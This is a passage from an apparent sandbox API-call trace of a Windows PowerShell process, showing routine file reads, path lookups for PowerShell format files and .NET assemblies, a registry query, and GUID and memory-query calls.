lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.329] GetLastError () returned 0x0 [0075.329] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.330] GetLastError () returned 0x0 [0075.330] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.330] GetLastError () returned 0x0 [0075.330] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.330] GetLastError () returned 0x0 [0075.331] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.331] GetLastError () returned 0x0 [0075.331] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.331] GetLastError () returned 0x0 [0075.332] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0xaca, lpOverlapped=0x0) returned 1 [0075.332] GetLastError () returned 0x0 [0075.332] ReadFile (in: hFile=0x324, lpBuffer=0x2ef224e, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef224e*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.332] GetLastError () returned 0x0 [0075.332] ReadFile (in: hFile=0x324, lpBuffer=0x2ef2be4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2be4*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.332] GetLastError () returned 0x0 [0075.332] CloseHandle (hObject=0x324) returned 1 [0075.332] GetLastError () returned 0x0 [0075.332] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.332] GetLastError () returned 0x0 [0075.332] SetErrorMode (uMode=0x1) returned 0x1 [0075.332] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f13be0 | out: lpFileInformation=0x2f13be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0075.332] GetLastError () returned 0x0 [0075.332] SetErrorMode (uMode=0x1) returned 0x1 [0075.332] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.332] GetLastError () returned 0x0 [0075.332] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x324) returned 0x0 [0075.333] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.333] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.333] RegCloseKey (hKey=0x324) returned 0x0 [0075.333] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.333] GetLastError () returned 0x0 [0075.333] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.333] GetLastError () returned 0x0 [0075.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0075.352] GetLastError () returned 0x0 [0075.354] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0075.354] GetLastError () returned 0x57 [0075.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0075.411] GetLastError () returned 0x57 [0075.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.413] GetLastError () returned 0x57 [0075.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0075.414] GetLastError () returned 0x57 [0075.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0075.415] GetLastError () returned 0x57 [0075.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0075.415] GetLastError () returned 0x57 [0075.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0075.416] GetLastError () returned 0x57 [0075.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0075.417] GetLastError () returned 0x57 [0075.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0075.417] GetLastError () returned 0x57 [0075.418] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0075.418] GetLastError () returned 0x57 [0075.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0075.419] GetLastError () returned 0x57 [0075.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0075.419] GetLastError () returned 0x57 [0075.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0075.420] GetLastError () returned 0x57 [0075.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0075.443] GetLastError () returned 0x57 [0075.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0075.444] GetLastError () returned 0x57 [0075.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0075.444] GetLastError () returned 0x57 [0075.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0075.444] GetLastError () returned 0x57 [0075.444] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.444] GetLastError () returned 0x57 [0075.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.445] GetLastError () returned 0x57 [0075.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.445] GetLastError () returned 0x57 [0075.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.445] GetLastError () returned 0x57 [0075.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.445] GetLastError () returned 0x57 [0075.476] VirtualQuery (in: lpAddress=0x29d330, lpBuffer=0x29e330, dwLength=0x1c | out: lpBuffer=0x29e330*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.480] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6b959553, Data2=0x1bd3, Data3=0x4709, Data4=([0]=0x9d, [1]=0x16, [2]=0x22, [3]=0xbd, [4]=0x9a, [5]=0xd, [6]=0x52, [7]=0x98))) returned 0x0 [0075.481] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc2e8e34c, Data2=0xf4a4, Data3=0x4b8e, Data4=([0]=0x9f, [1]=0x2, [2]=0x8, [3]=0x99, [4]=0xf1, [5]=0xe9, [6]=0x73, [7]=0x9))) returned 0x0 [0075.482] VirtualQuery (in: lpAddress=0x29d3a8, lpBuffer=0x29e3a8, dwLength=0x1c | out: lpBuffer=0x29e3a8*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.482] VirtualQuery (in: lpAddress=0x29d3a8, lpBuffer=0x29e3a8, dwLength=0x1c | out: lpBuffer=0x29e3a8*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.482] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x706d9c1d, Data2=0xea89, Data3=0x4d68, Data4=([0]=0x8b, [1]=0xa3, [2]=0x99, [3]=0x3c, [4]=0x3d, [5]=0xdc, [6]=0xf5, [7]=0xa6))) returned 0x0 [0075.487] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xce3ff764, Data2=0xd6ec, Data3=0x436b, Data4=([0]=0x82, [1]=0x10, [2]=0x92, [3]=0x38, [4]=0xac, [5]=0x61, [6]=0xb3, [7]=0x63))) returned 0x0 [0075.487] VirtualQuery (in: lpAddress=0x29d4d4, lpBuffer=0x29e4d4, dwLength=0x1c | out: lpBuffer=0x29e4d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.487] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.487] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.487] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x90aaaf55, Data2=0x926, Data3=0x4857, Data4=([0]=0xa4, [1]=0x52, [2]=0x4c, [3]=0xd7, [4]=0x74, [5]=0x53, [6]=0x8d, [7]=0xa1))) returned 0x0 [0075.487] VirtualQuery (in: lpAddress=0x29d4d4, lpBuffer=0x29e4d4, dwLength=0x1c | out: lpBuffer=0x29e4d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.487] VirtualQuery (in: lpAddress=0x29d3ec, lpBuffer=0x29e3ec, dwLength=0x1c | out: lpBuffer=0x29e3ec*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.488] VirtualQuery (in: lpAddress=0x29d0a0, lpBuffer=0x29e0a0, dwLength=0x1c | out: lpBuffer=0x29e0a0*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.488] VirtualQuery (in: lpAddress=0x29d0a0, lpBuffer=0x29e0a0, dwLength=0x1c | out: lpBuffer=0x29e0a0*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.488] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x1a43a254, Data2=0x2db8, Data3=0x4036, Data4=([0]=0xb3, [1]=0xd9, [2]=0x3e, [3]=0xfa, [4]=0xa0, [5]=0xa6, [6]=0x5a, [7]=0xdd))) returned 0x0 [0075.488] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x659c4298, Data2=0x9f38, Data3=0x4388, Data4=([0]=0xb3, [1]=0xf5, [2]=0xe, [3]=0xb, [4]=0xb9, [5]=0x10, [6]=0xb4, [7]=0xa8))) returned 0x0 [0075.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.488] GetLastError () returned 0x57 [0075.488] SetErrorMode (uMode=0x1) returned 0x1 [0075.489] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0075.489] GetLastError () returned 0x0 [0075.489] GetFileType (hFile=0x354) returned 0x1 [0075.489] SetErrorMode (uMode=0x1) returned 0x1 [0075.489] GetFileType (hFile=0x354) returned 0x1 [0075.489] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.490] GetLastError () returned 0x0 [0075.491] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.491] GetLastError () returned 0x0 [0075.491] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.491] GetLastError () returned 0x0 [0075.491] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.491] GetLastError () returned 0x0 [0075.491] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.492] GetLastError () returned 0x0 [0075.492] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.492] GetLastError () returned 0x0 [0075.492] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.492] GetLastError () returned 0x0 [0075.492] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.492] GetLastError () returned 0x0 [0075.493] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.493] GetLastError () returned 0x0 [0075.493] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.493] GetLastError () returned 0x0 [0075.494] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.494] GetLastError () returned 0x0 [0075.494] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.494] GetLastError () returned 0x0 [0075.494] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.494] GetLastError () returned 0x0 [0075.494] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.494] GetLastError () returned 0x0 [0075.495] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.495] GetLastError () returned 0x0 [0075.495] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.495] GetLastError () returned 0x0 [0075.497] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.497] GetLastError () returned 0x0 [0075.497] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0xbce, lpOverlapped=0x0) returned 1 [0075.497] GetLastError () returned 0x0 [0075.497] ReadFile (in: hFile=0x354, lpBuffer=0x2dea75e, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x29e654, 